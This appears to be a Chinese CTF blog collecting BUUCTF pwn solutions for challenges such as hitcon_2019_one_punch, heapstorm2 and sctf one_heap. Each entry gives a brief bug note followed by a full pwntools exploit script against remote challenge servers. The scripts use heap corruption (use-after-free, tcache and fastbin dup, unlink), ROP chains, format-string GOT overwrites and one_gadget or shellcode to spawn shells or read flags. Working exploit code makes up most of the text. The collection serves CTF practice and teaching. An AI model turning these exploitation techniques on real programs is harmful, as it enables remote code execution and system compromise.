hitcon_ctf_2019_one_punch
保护全开,ida打开,libc版本为2.29
删除功能存在uaf
from pwn import * context(os = "linux", arch = "amd64")#,log_level= "debug") context.terminal = ['tmux', 'splitw', '-h'] pwn="./hitcon_ctf_2019_one_punch" #p=process(pwn) r=remote("node5.buuoj.cn",27466) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-19-2.29.so") def menu(choice): r.recvuntil('> ') r.sendline(str(choice)) def add(idx,content): menu(1) r.recvuntil('idx: ') r.sendline(str(idx)) r.recvuntil('hero name: ') r.send(content) def edit(idx,content): menu(2) r.recvuntil('idx: ') r.sendline(str(idx)) r.recvuntil('hero name: ') r.send(content) def show(idx): menu(3) r.recvuntil('idx: ') r.sendline(str(idx)) def delete(idx): menu(4) r.recvuntil('idx: ') r.sendline(str(idx)) def punch(content): menu(50056) r.send(content) add(0,'a'*0x218) add(1,'b'*0x80) for i in range(6): delete(1) edit(1,'b'*0x10) for i in range(6): delete(0) edit(0,'a'*0x10) delete(0) show(0) r.recvuntil('hero name: ') heap_addr = u64(r.recv(6).ljust(8,b'\x00')) print('heap_addr',hex(heap_addr)) edit(0,b'a'*0x10) delete(0) show(0) r.recvuntil('hero name: ') libc_base = u64(r.recv(6).ljust(8,b'\x00'))-0x1e4ca0 print(hex(libc_base)) add(1,b'a'*0x180) add(1,b'a'*0x400) add(2,b'a'*0x100) for i in range(7): delete(1) edit(1,b'c'*0x10) delete(1) add(2,0x370*b'd') add(2,0x400*b'd') fd = heap_addr+0x180 bk = heap_addr-0x260+0x20 payload = b'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk) edit(1,payload) add(1,b'f'*0x80) malloc_hook = libc_base+libc.sym['__malloc_hook'] print('malloc_hook',hex(malloc_hook)) edit(0,p64(malloc_hook)) punch(b'/flag\x00') add_rsp = libc_base+0x8CFD6 pop_rdi = libc_base+0x26542 pop_rsi = libc_base+0x26f9e pop_rdx = libc_base+0x12bda6 pop_rax = libc_base+0x47cf8 syscall = libc_base+0x10D022 rop = p64(pop_rdi)+p64(heap_addr) rop += p64(pop_rsi)+p64(0) rop += p64(pop_rax)+p64(2) rop += p64(syscall) #read 3 read = libc_base+libc.sym['read'] rop += p64(pop_rdi)+p64(3) rop += p64(pop_rsi)+p64(heap_addr) rop += p64(pop_rdx)+p64(0x30) rop += p64(read) #write 1 write = libc_base+libc.sym['write'] rop += p64(pop_rdi)+p64(1) rop += p64(pop_rsi)+p64(heap_addr) rop += p64(pop_rdx)+p64(0x30) rop += p64(write) punch(p64(add_rsp)) add(1,rop) #gdb.attach(r) r.interactive()
wdb_2018_1st_babyheap
四功能齐全的菜单堆题,只能申请0x20大小的chunk,没有溢出写,但是存在uaf,同时edit功能只能使用3次,同样是泄露libc的基地址,且没有PIE,直接fastbindup将chunk的地址改写到chunk指针的结构体处
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./wdb_2018_1st_babyheap" #p=process(pwn) p=remote("node5.buuoj.cn","28576") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def create(index,context): p.sendlineafter("Choice:",b'1') p.sendlineafter("Index:",str(index)) p.sendlineafter("Content:",context) def edit(index,context=b'aaaa'): p.sendlineafter("Choice:",b'2')python p.sendlineafter("Index:",str(index)) p.sendlineafter("Content:",context) def show(index): p.sendlineafter("Choice:",b'3') p.sendlineafter("Index:",str(index)) def delete(index): p.sendlineafter("Choice:",b'4') p.sendlineafter("Index:",str(index)) create(0,p64(0)*3+p64(0x31)[:-1]) create(1,b'a') create(2,b'/bin/sh\x00') create(3,b'a') create(4,b'a') delete(3) delete(4) show(4) heap=u64(p.recv(4).ljust(8,b'\x00'))-0x90 print(hex(heap)) edit(4,p64(heap+0x20)) create(5,b'a') create(6,p64(0x20)+p8(0x90)) delete(0) create(7,p64(0)+p64(0x21)+p64(0x602060-0x18)+p64(0x602060-0x10)[:-1]) delete(1) edit(0,p64(0)*3+p64(0x602098)[:-1]) edit(0,p64(elf.got['free'])+p64(0)*2+p64(0xffff)[:-1]) show(7) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] free_hook=libcbase+libc.sym['__free_hook'] edit(0,p64(free_hook)[:-1]) edit(7,p64(sys_addr)[:-1]) delete(2) #debug() p.interactive()
mrctf2020_easyrop
存在后门函数,栈溢出漏洞利用,
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./mrctf2020_easyrop" #p=process(pwn) p=remote("node5.buuoj.cn",27565) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #Alibc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- p.sendline(b'2') #debug() sleep(1) p.send(b'a'*0x300) sleep(1) p.sendline(b'7') sleep(1) p.send(b'a'*0x12+p64(0x40072A)) p.interactive()
sctf_2019_one_heap
保护全开,ida打开只有增加和删除两个功能,菜单堆题,删除功能存在uaf,且只能够使用四次删除功能
创建功能只能使用15次,且大小限制在0x7f,既然是tcache bin attack,需要泄露libc基地址,因为开了pie,
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./sctf_2019_one_heap" #p=process(pwn) #p=remote("node5.buuoj.cn",29884) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size, content): p.sendlineafter(b'choice:', b'1') p.sendlineafter(b'size:', str(size)) p.sendlineafter(b'content:', content) def delete(): p.sendlineafter(b'choice:', b'2') def pwn(): # leak libc_base create(0x70, b'a') #index 0 delete() #1 delete() #2 create(0x70, p8(0x10) + p8(0xa0)) #index 1 create(0x70, b'') #index 2 create(0x70, b'\x07'*0x40) delete() #3 create(0x50, b'a') create(0x10, p64(0) + p16(0x7760)) create() #4 create(0x60, p64(0xfbad1887) + p64(0)*3 + p8(0x58)) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3e82a0 print(' libc_base -> ', hex(libc_base)) # malloc_hook + realloc -> one_gadget malloc_hook = libc_base + libc.sym['__malloc_hook'] realloc = libc_base + libc.sym['realloc'] one_gadget = libc_base + 0x4f322 create(0x10, p64(malloc_hook - 0x8)) create(0x50, p64(one_gadget) + p64(realloc + 8)) # pwn create(0x10, b'a') p.interactive() count = 0 while(1): try: p = remote('node5.buuoj.cn', 27480) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") pwn() except: p.close() count += 1 print("=============================================>", count) sleep(0.5)
gwctf_2019_jiandan_pwn1
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./pwn9" #p=process(pwn) p=remote("node5.buuoj.cn",27597) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- rdi=0x400843 p.sendlineafter(b'fun!\n',b'a'*0x10c+p32(0x110)+b'a'*5+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])) libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) p.sendlineafter(b'fun!\n',b'a'*0x10c+p32(0x110)+b'a'*5+p64(rdi)+p64(bin_sh)+p64(sys_addr)) #debug() p.interactive()
0ctf_2018_heapstorm2
保护全开,ida打开,
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./0ctf_2018_heapstorm2" #p=process(pwn) p=remote("node5.buuoj.cn","27371") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def create(size): p.sendlineafter("Command: ",str(1)) p.sendlineafter("Size: ",str(size)) def edit(index,context): p.sendlineafter("Command: ",str(2)) p.sendlineafter("Index: ",str(index)) p.sendlineafter("Size: ",str(len(context))) p.sendlineafter("Content: ",context) def delete(index): p.sendlineafter("Command: ",str(3)) p.sendlineafter("Index: ",str(index)) def show(index): p.sendlineafter("Command: ",str(4)) p.sendlineafter("Index: ",str(index)) create(0x18) #chunk 0 create(0x508) #chunk 1 create(0x18) #chunk 2 edit(1,b'a'*0x4f0+p64(0x500)) create(0x18) #chunk 3 create(0x508) #chunk 4 create(0x18) #chunk 5 edit(4,b'a'*0x4f0+p64(0x500)) create(0x18) #chunk 6 delete(1) edit(0,b'a'*(0x18-12)) create(0x18) #chunk 1 create(0x4d8) #chunk 7 delete(1) delete(2) create(0x38) #chunk 1 create(0x4e8) #chunk 2 delete(4) edit(3,b'a'*(0x18-12)) create(0x18) #chunk 4 create(0x4d8) #chunk 8 delete(4) delete(5) create(0x48) #chunk 4 delete(2) create(0x4e8) #chunk 2 delete(2) encode=0x13370000+0x800 fake_chunk=encode-0x20 header=p64(0)*2+p64(0)+p64(0x13377331)+p64(encode)+p64(0x1000) payload1=p64(0)*2+p64(0)+p64(0x4f1)+p64(0)+p64(fake_chunk) edit(7,payload1) payload2=p64(0)*4+p64(0)+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5) edit(8,payload2) create(0x48) a=p64(0)*4+p64(0)+p64(0x13377331)+p64(encode) edit(2,a) a=header+p64(encode-0x20+3)+p64(8) edit(0,a) show(1) p.recvuntil("Chunk[1]: ") heapaddr=u64(p.recv(8)) a=header+p64(heapaddr+0x10)+p64(8) edit(0,a) show(1) p.recvuntil("Chunk[1]: ") libcbase=u64(p.recv(8))-0x10-88-libc.sym['__malloc_hook'] a=header+p64(libcbase+libc.sym['__free_hook'])+p64(0x100)+p64(encode+0x50)+p64(0x100)+b'/bin/sh\x00' edit(0,a) edit(1,p64(libcbase+libc.sym['system'])) p.sendlineafter(":",b'3') p.sendlineafter(":",str(2)) p.interactive() #debug() p.interactive()
[GKCTF 2021]checkin
from pwn import * from struct import pack context(os = 'linux', arch = 'amd64', log_level='debug') #p = process('./login') p=remote("node5.buuoj.cn","27544") elf = ELF('./login') #libc = ELF('glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so') #libc = ELF('buu/libc-2.23.so') #libc = ELF('buu/libc-2.23-x64.so') #libc = ELF('buu/libc-2.27.so') #libc = ELF('buu/libc-2.27-x64.so') #libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so') libc = ELF('/home/casual/Desktop/libc.so.6') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so') #libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def debug(): gdb.attach(p) pause() #gdb.attach(p, 'b *0x401973') bss = 0x602400 ret = 0x400641 rdi = 0x401ab3 payload = b'admin\x00\x00\x00' + p64(rdi) + p64(elf.got['puts']) + p64(0x4018B5) p.sendafter(b'Sign-in\n', payload) payload = b'admin\x00\x00\x00'*4 + p64(bss) p.sendafter(b'Pass\n', payload) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts'] print(' libc_base -> ', hex(libc_base)) binsh = libc_base + next(libc.search(b'/bin/sh\x00')) system = libc_base + libc.sym['system'] one_gadget = libc_base + 0x4527a #payload = b'admin\x00\x00\x00' + p64(rdi) + p64(binsh) + p64(system) payload = b'admin\x00\x00\x00'*3 + p64(one_gadget) p.sendafter(b'Sign-in\n', payload) payload = b'admin\x00\x00\x00'*4 + p64(bss + 0x10) p.sendafter(b'Pass\n', payload) p.interactive()
bbctf_2020_fmt_me
格式化字符串漏洞,atoi的got表改为system_plt,system got改为main地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./bbctf_2020_fmt_me" #p=process(pwn) p=remote("node5.buuoj.cn",27048) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- atoi = 0x404058 system_plt = elf.plt['system'] system_got = elf.got['system'] main = 0x4011f7 p.sendlineafter(b'Choice: ', b'2') payload = fmtstr_payload(6, {atoi: system_plt + 6, system_got : main}) p.sendlineafter(b'you a gift.', payload) p.sendlineafter(b'Choice: ', b'/bin/sh\x00') p.interactive()
actf_2019_onerepeater
输入2是格式化字符串漏洞,输入1 会打印buf的地址,再读入0x400个字节大小的数据溢出不了,感觉是通过1泄露栈地址,后通过2的格式化字符串漏洞将返回地址修改,简单点就是泄露libc基地址,改返回地址为onegadget,或者在栈上写入shellcode,将返回地址改为shellcode的地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./ACTF_2019_OneRepeater" #p=process(pwn) #p=remote("node5.buuoj.cn",25515) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def pwn(): p.sendlineafter("3) Exit\n",str(1)) stack=int(p.recv(8),16) retaddr=stack+0x41c print(hex(retaddr)) payload=fmtstr_payload(16,{retaddr:stack+0x100}).ljust(0x100,b'\x00')+asm(shellcraft.sh()) p.sendline(payload) p.sendlineafter("3) Exit\n",str(2)) p.sendlineafter("3) Exit\n",str(3)) #debug('b *0x80486EF') p.recvline() p.interactive() p=remote("node5.buuoj.cn",25515) pwn()
rootersctf_2019_babypwn
ret2libc
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./rootersctf_2019_babypwn" #p=process(pwn) p=remote("node5.buuoj.cn",25080) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- p.sendlineafter("echo back> \n",b'a'*0x108+p64(0x401223)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) p.sendlineafter("echo back> \n",b'a'*0x108+p64(0x40101a)+p64(0x401223)+p64(bin_sh)+p64(sys_addr)) p.interactive()
actf_2019_message
菜单堆题,四功能齐全,删除功能存在uaf,只清空了chunk的size位,指针并没有进行清空,但是show和edit的检查是检查size位
那就只好劫持chunk表,反正地址已知,且可以直接dup控制,控制之后直接将前面的chunk表清0继续利用
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ACTF_2019_message" #p=process(pwn) p=remote("node5.buuoj.cn",27929) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(length,context): p.sendlineafter("choice: ",b'1') p.sendlineafter("length of message:\n",str(length)) p.sendafter("message:\n",context) def delete(index): p.sendlineafter("choice: ",b'2') p.sendlineafter("want to delete:\n",str(index)) def edit(index,context): p.sendlineafter("choice: ",b'3') p.sendlineafter("edit:\n",str(index)) p.sendlineafter("message:\n",context) def show(index): p.sendlineafter("choice: ",b'4') p.sendafter("want to display:\n",str(index)) ptr=0x602060 create(0x60,b'aaa') #chunk 0 create(0x60,b'aaaa') #chunk 1 create(0x10,b'aaa') #chunk 2 delete(0) delete(1) delete(0) create(0x60,p64(ptr)) #chunk 3 create(0x60,b'a') #chunk 4 create(0x60,b'a') #chunk 5 create(0x60,p64(0)*12) create(0x410,b'a') #chunk 0 create(0x10,b'/bin/sh\x00') #chunk 1 delete(0) edit(6,p32(0x410)) show(0) p.recvuntil("The message: ") libcbase=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libc.sym['system']+libcbase edit(6,p64(0x20)+p64(free_hook)+p64(0x10)+p64(free_hook)) create(0x20,b'/bin/sh\x00') #chunk 2 edit(1,p64(sys_addr)) delete(2) #debug() p.interactive()
starctf_2019_girlfriend
菜单堆题,有增加,展示,删除功能,增加功能,先会malloc一个0x18大小的chunk,用来存放自定义大小chunk的指针地址和大小,再进行自定义带下的malloc,后进行名字输入,再输入电话,这个电话在固定大小的chunk中存放,且末位置0 ,不存在溢出漏洞,最多申请100个chunk,libc2.23
展示功能通过puts函数进行展示
删除功能,存在uaf漏洞,只free了自定义大小的chunk,且两个指针未置0
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./starctf_2019_girlfriend" #p=process(pwn) p=remote("node5.buuoj.cn","25714") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def create(size,name,call=b'aaa'): p.sendlineafter("your choice:",str(1)) p.sendlineafter("girl's name\n",str(size)) p.sendlineafter("her name:\n",name) p.sendlineafter("call:\n",call) def show(index): p.sendlineafter("your choice:",str(2)) p.sendlineafter("index:\n",str(index)) def delete(index): p.sendlineafter("your choice:",str(4)) p.sendlineafter("index:\n",str(index)) create(0x80,b'aaa') create(0x60,b'aaa') create(0x60,b'aaa') delete(0) show(0) malloc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10 libcbase=malloc-libc.sym['__malloc_hook'] realloc=libcbase+libc.sym['realloc'] print(hex(libcbase)) ogg=libcbase+0xf02a4 delete(1) delete(2) delete(1) create(0x60,p64(malloc-0x23)) create(0x60,b'aaa') create(0x60,b'aaaa') create(0x60,b'a'*(0x13-8)+p64(ogg)+p64(realloc+8)) p.sendlineafter("your choice:",str(1)) #debug() p.interactive()
bbctf_2020_write
任意地址修改,先计算libc基地址,后将返回地址修改为system调用就行,但是发现程序退出是通过exit函数,则只能去进行exit_hook劫持
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./bbctf_2020_write" #p=process(pwn) p=remote("node5.buuoj.cn",28581) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- libcbase=int(p.recvuntil(b'\n')[-13:],16)-libc.sym['puts'] print(hex(libcbase)) stack=int(p.recvuntil(b'\n')[-13:],16) print(hex(stack)) #debug() exit_hook=libcbase+0x619f68 onegadet=libcbase+0x4f322 p.sendlineafter("(q)uit\n",b'w') p.sendlineafter("ptr: ",str(exit_hook)) p.sendlineafter("val: ",str(onegadet)) p.sendlineafter("(q)uit\n",b'q') p.interactive()
sctf2019_easy_heap
保护全开,ida 打开,跟前一页的一道题一模一样,但是存在不同做法,尝试一下,学些东西,菜单堆题, 创建功能,只是限制了chunk小于0x1000,libc在2.27,存在tcache bin ,且创建功能会把堆地址泄露出来
这里edit输入内容的函数存在off by null 溢出,删除功能没啥,就三个功能。
成功概率256分之1,还是别人的wp香
from pwn import * # sh:tube = process("./sctf_2019_one_heap") context.update(arch="amd64", os="linux", endian="little") sh = remote("node5.buuoj.cn",26114) cur_elf = ELF("./sctf_2019_one_heap") libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") def LOG_ADDR(*args): pass context.update(arch="amd64", os="linux", endian="little") def new_note(size, content="id"): sh.sendlineafter("Your choice:", '1') sh.sendlineafter("Input the size:", str(size)) sh.sendlineafter("Input the content:", content) def del_note(): sh.sendlineafter("Your choice:", '2') def attack(first, second): new_note(0x70) del_note() del_note() new_note(0x70, p16((first << 8) | 0x10)) new_note(0x70) layout = [0, 0, 0, 0, 0x07000000] new_note(0x70, flat(layout)) del_note() new_note(0x40, p64(0) * 5) new_note(0x10, flat(0, p16((second << 8) | 0x60))) del_note() new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58")) msg = sh.recvn(8) leak_addr = u64(msg) LOG_ADDR("leak_addr", leak_addr) libc_base_addr = leak_addr - 0x3e82a0 realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"] realloc_addr = libc_base_addr + libc.sym["realloc"] gadgets = [0x4f2c5, 0x4f322, 0x10a38c] one_gadget = libc_base_addr + gadgets[2] new_note(0x10, flat(0, p64(realloc_hook_addr)[:6])) new_note(0x40, flat(one_gadget, realloc_addr+0x4)) new_note(0x10) try: sh.sendline("id") sh.recvline_contains("uid", timeout=2) sh.sendline("cat flag") sh.interactive() except: try: sh.close() except: pass if __name__ == "__main__": n = 0x1000 while n > 0: log.success("counts: {}".format(0x1000 - n)) try: attack(0x60, 0x67) except: pass # sh = process("./sctf_2019_one_heap") sh = remote("node5.buuoj.cn", 26114) n -= 1
metasequoia_2020_samsara
菜单堆题,把功能都放在一起了,输入6有机会直接得到flag,但是v8的值有要求,v8在栈上,我们要修改他的值为0xdeadbeef,第一个是申请固定大小的堆块,第二个是释放堆块指针,但是指针没有置0,则存在uaf漏洞,第三个是利用堆块的内容指向一段地址,进而修改值,第4块是泄露v7在栈上的地址,第5块是改变v7的值,第六块就是后门函数了,我们可以先泄露栈上的地址,然后通过类似的fastbindup,将chunk的fd指针指向栈上的空间,然后再进行v8值的修改
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./metasequoia_2020_samsara" #p=process(pwn) p=remote("node5.buuoj.cn","29135") elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def create(): p.sendlineafter("choice > ",str(1)) def delete(index): p.sendlineafter("choice > ",str(2)) p.sendlineafter("Index:\n",str(index)) def edit(index,context): p.sendlineafter("choice > ",str(3)) p.sendlineafter("Index:\n",str(index)) p.sendlineafter("Ingredient:\n",str(context)) def leak(): p.sendlineafter("choice > ",str(4)) p.recvuntil("Your lair is at: ") stack=int(p.recv(14),16) return stack def fuzhi(size): p.sendlineafter("choice > ",str(5)) p.sendlineafter("kingdom?\n",str(size)) v8=leak()+8 create() #chunk 0 create() #chunk 1 delete(0) delete(1) fuzhi(0x21) edit(1,v8-0x10) create() #chunk 2 create() #chunk 3 edit(3,0xdeadbeef) print(hex(v8)) p.sendlineafter("choice > ",str(6)) #debug() p.interactive()
0ctf2015_freenote
一道上一页一样的题目
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./freenote_x64" #p=process(pwn) p=remote("node5.buuoj.cn",28688) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def show(): p.sendlineafter("Your choice: ",str(1)) def create(size,context): p.sendlineafter("Your choice: ",str(2)) p.sendlineafter("Length of new note: ",str(size)) p.sendlineafter("Enter your note: ",context) def edit(index,size,context): p.sendlineafter("Your choice: ",str(3)) p.sendlineafter("Note number: ",str(index)) p.sendlineafter("Length of note: ",str(size)) p.sendlineafter("Enter your note: ",context) def delete(index): p.sendlineafter("Your choice: ",str(4)) p.sendlineafter("Note number: ",str(index)) create(0x80,b'a'*0x80) #chunk 0 create(0x80,b'a'*0x80) #chunk 1 create(0x80,b'a'*0x80) #chunk 2 create(0x10,b'a'*0x10) #chunk 3 delete(0) delete(2) create(0x8,b'a'*8) #chunk 0 show() p.recvuntil(b'a'*8) heap=u64(p.recv(4).ljust(8,b'\x00'))-0x1940+0x30 print(hex(heap)) delete(0) delete(1) delete(3) create(0x20,p64(0)+p64(0x110)+p64(heap-0x18)+p64(heap-0x10)) #chunk 0 payload=b'a'*0x80+p64(0x110)+p64(0x90)+b'a'*0x80+p64(0)+p64(0x91)+b'a'*0x80 create(len(payload),payload) delete(2) payload=p64(1)*2+p64(0x8)+p64(elf.got['atoi']) edit(0,len(payload),payload) show() libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,0x8,p64(sys_addr)) p.sendlineafter(b'choice: ', b'/bin/sh\x00') #debug() p.interactive()
hwb_2019_mergeheap
保护全开,ida打开,又一个新奇的功能,之前的堆题没见过,翻译是合并,但是看代码倒是申请了一个新的堆块,把原有选择的两个堆块大小相加,内容先用strcpy进行一个chunk的复制,之后再调用strcat进行连接
申请的功能,chunk的大小受限,小于0x400
